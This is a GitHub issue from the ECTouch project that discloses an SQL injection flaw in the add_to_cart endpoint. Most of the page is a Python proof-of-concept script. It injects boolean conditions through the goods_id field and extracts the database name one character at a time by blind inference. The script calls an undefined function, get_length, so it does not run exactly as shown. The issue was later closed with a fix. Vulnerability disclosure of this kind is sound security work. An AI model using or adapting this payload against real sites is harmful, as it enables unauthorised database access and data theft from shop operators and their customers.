New issue

Jump to bottom

SQL Injection vulnerability #5

Closed StickManII opened this issue on Jan 4, 2020 · 0 comments

StickManII commented on Jan 4, 2020

#Order：zionlab@dbappsecurity.com.cn

##poc:

```
import requests
import re,string
import urllib.parse

def get_database_length():
param={}
url="http://localhost/ectouch-master/index.php?m=default&c=flow&a=add_to_cart"
payload_len = '"-1 or length(database())={0} -- a"'
goods='{"quick":1,"spec":[""],"goods_id":hack,"number":"1","parent":0}'
i = 1
while i<10:
payload_len_i = payload_len.format(i)
goods_i=goods.replace("hack",payload_len_i)
goods_i = urllib.parse.quote(goods_i)
param['goods'] = goods_i
#print(param)
r = requests.post(url,data=param)
if "cart_number" in r.text:
print("len:",i)
return i
i += 1

def get_database(len):
param={}
database_name=""
url="http://localhost/ectouch-master/index.php?m=default&c=flow&a=add_to_cart"
payload_database = '"-1 or ord(substr(database(),{0},1))={1} -- a"'
goods='{"quick":1,"spec":[""],"goods_id":hack,"number":"1","parent":0}'
chr_str = string.ascii_lowercase + string.digits + string.punctuation
for i in range(len):
for j in chr_str:
payload_database_i=payload_database.format((i+1),ord(j))
goods_i=goods.replace("hack",payload_database_i)
goods_i = urllib.parse.quote(goods_i)
param['goods'] = goods_i
r = requests.post(url,data=param)
if "cart_number" in r.text:
database_name+=j
print("database_name:",database_name)

len=get_length()
get_database(len)
```

ecmoban closed this as completed in `9285c18` on Jan 6, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant